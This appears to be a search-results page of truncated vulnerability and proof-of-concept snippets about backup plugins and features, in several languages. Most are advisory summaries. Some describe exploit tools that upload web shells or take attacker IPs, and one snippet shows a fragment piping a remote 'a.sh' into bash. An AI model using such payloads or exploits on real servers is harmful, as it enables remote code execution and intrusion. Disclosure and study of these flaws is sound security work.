15216 matches found
CVE-2026-21857
CVE-2026-21857：Redaxo 备份插件存在路径遍历漏洞，可导致任意文件读取 概述 字段| 详情 ---|--- CVE ID| CVE-2026-21857 严重级别| 高危 安全公告| 查看公告 发现者| Lukasz Rybak 受影响产品 redaxo/source （版本：= 5.20.1） CWE 分类 CWE-22：对受限目录的路径名限制不当（'路径遍历'） CWE-24：路径遍历：'../filedir' 详细信息 摘要 拥有备份权限的已认证用户可通过备份插件文件导出功能中的路径遍历漏洞，读取 Web 根目录内的任意文件。 详情 备份插件未将 EXPDIR...
CVE-2026-32238_RemoteCodeExecutionOpenEMR8.0.0
CVE-2026-32238 - OpenEMR 弱点 CWE-78：未正确中和 OS 命令中使用的特殊元素（'OS 命令注入'） 产品使用来自上游组件的外部影响输入来构造 OS 命令的全部或部分，但未中和或错误地中和了在发送到下游组件时可能修改预期 OS 命令的特殊元素。 摘要 OpenEMR 8.0.0.1 在备份功能中包含多个命令注入漏洞，这些漏洞可被经过身份验证的攻击者利用。该漏洞是由于备份功能中输入验证不足导致的。 详情 该漏洞出现在备份功能中，多个 ID 在嵌入 OS 命令的 SQL 语句中被 SQL 转义，但未进行 shell 转义。 这些 ID...
CVE-2026-1357
CVE-2026-1357 -- WPvivid RCE WPvivid Backup & Migration 中的未认证远程代码执行（RCE） 800%2C000-brightgreen?style=for-the-badge" alt="Installs" 影响超过 800,000–900,000+ 个 WordPress 站点的严重漏洞 未认证的任意 PHP 上传 → 完全服务器沦陷 🌩️ 概述 CVE-2026-1357 （CVSS 9.8 – 严重）影响 Migration, Backup, Staging – WPvivid Backup & Migration 插件（≤...
halo-2.25.4-backup-write-CVE-2026-67920
Halo CMS Backup Restore Arbitrary File Write Vulnerability Summary A critical arbitrary file write vulnerability exists in the backup restoration functionality of Halo CMS versions up to 2.25.4. The restoreWorkdir method in MigrationServiceImpl.java copies the workdir/ directory from a...
CVE-2026-75135
UpSignOn for Windows before 7.19.0 contains a sensitive data exposure vulnerability that allows local attackers to recover the master password and decrypt vault contents by reading a retained backup key from the process memory of UpSignOn.exe, even after the vault has been re-locked. Attackers ca...
CVE-2026-30345
CVE-2026-30345 概念验证 CTFd 3.8.2 备份导入功能中的任意文件写入漏洞。 快速开始 运行 cve202630345bashrcpoc.py 之前 请确保根据你的利用场景更新相应的值。例如 RHOST、攻击者 IP 或端口，以及用于利用的凭据。 使用方法 root@kitploit: python cve202630345bashrcpoc.py 故障排除 导入失败并提示“db folder is missing” 问题： 你没有包含合法的 db/ 导出文件。 解决方案： 先从你的 CTFd 实例中导出（参见步骤 1）。 导入失败并提示“inappropriate...
BACkupCVE-2026-29971
This repository does not have a README...
CVE-2024-9290
CVE-2024-9290 Herramienta de Explotación | Vulnerabilidad de Super Backup & Clone La herramienta está dirigida a sitios web de WordPress que utilizan el plugin Super Backup & Clone y son vulnerables a la carga arbitraria de archivos. Intenta cargar un shell malicioso en el directorio...
CVE-2026-84667
Jenkins ThinBackup Plugin 2.1.4 and earlier allows overwriting the plugin's backup configuration through Stapler data binding, allowing attackers to redirect backup writes to an attacker-specified directory and to include arbitrary files from the Jenkins controller file system in backups...
CVE-2026-84667
Jenkins ThinBackup Plugin 2.1.4 and earlier allows overwriting the plugin's backup configuration through Stapler data binding, allowing attackers to redirect backup writes to an attacker-specified directory and to include arbitrary files from the Jenkins controller file system in backups...
EUVD-2026-70133
Jenkins ThinBackup Plugin 2.1.4 and earlier allows overwriting the plugin's backup configuration through Stapler data binding, allowing attackers to redirect backup writes to an attacker-specified directory and to include arbitrary files from the Jenkins controller file system in backups...
CVE-2026-84667
CVE-2026-84667 affects Jenkins ThinBackup Plugin 2.1.4 and earlier . The root cause is the use of the @DataBoundConstructor annotation, which allows Stapler to invoke @DataBoundSetter methods managing the plugin's backup configuration. This enables an authenticated attacker to redirect backup wri...
veeam-velociraptor
Veeam Backup & Replication Velociraptor 工件 - PoC 本仓库包含一组 Velociraptor 工件，作为远程 Veeam Backup & Replication 取证管线的概念验证： artifacts/ 包含工件定义 tools/ 包含一个 qemu-img.zip 归档，可用于 Windows.QEMU.ImgConvert...
CVE-2024-9290
CVE-2024-9290 Super Backup & Clone - Migrate for WordPress = 2.3.3 - Carga arbitraria de archivos no autenticada Descripción El plugin Super Backup & Clone - Migrate for WordPress para WordPress es vulnerable a la carga arbitraria de archivos debido a la falta de validación del tipo de archivo y ...
CVE-2025-5961
🚨 Migración, Copia de seguridad, Staging – WPvivid Backup & Migration 📈 Esta vulnerabilidad afecta a un plugin con más de700,000+ instalaciones 📝 Detalles del CVE CVE: CVE-2025-5961 CVSS: 7.2 Alta Publicado: 3 de julio de 2025 🔍 Descripción El plugin Migration, Backup, Staging – WPvivid Backup &...
CVE-2023-30146
CVE-2023-30146 - Assmann/HooToo 网络摄像头漏洞 - 敏感数据泄露 描述 在 HooToo 和 Assmann 品牌的 IP 摄像头中发现了一个问题。固件将管理员和用户凭据以明文形式存储在备份中。备份可以在无需身份验证的情况下被检索和解压，从而使远程攻击者能够访问网络。 漏洞类型 敏感数据泄露 攻击类型 远程 影响 可能的网络入侵 背景 市场上销售的许多 IP 摄像头似乎基于海思 H35xx SoC 1。这些设备上运行的固件似乎由一家名为 Foscam（深圳市福斯康姆智能科技有限公司）的公司制造，该公司是 IP...
CVE-2024-0044-EXP
CVE-2024-0044-EXP 利用CVE-2024-0044 在Android12、13 2024年3月安全更新之前 下数据备份 用法 ./CVE-2024-0044-EXP.sh sample ./CVE-2024-0044-EXP.sh com.tencent.mm 说明 漏洞发现 https://rtx.meta.security/exploitation/2024/03/04/Android-run-as-forgery.html 漏洞验证...
CVE-2023-6553
CVE-2023-6553 针对WordPress Backup插件中CVE-2023-6553的漏洞利用开发 这是一个严重级别的CVE，CVSS评分为9.8 该漏洞允许攻击者向运行受影响版本插件的服务器发送命令 受影响版本 Backup :9000/a.sh |bash';?" 3. 你会收到以下错误 root@kitploit: HTTP Response Body: 400 Bad Request Bad Request Your browser sent a request that this server could not understand. Size of a...
CVE-2026-82182 WPvivid Backup & Migration < 0.9.133 - Admin+ SQLi via Upload Cleaner Isolation
The WPvivid — Backup, Migration & Staging WordPress plugin before 0.9.133 does not sanitise a user supplied list of identifiers before using it in a SQL query, allowing administrators to perform SQL injection attacks...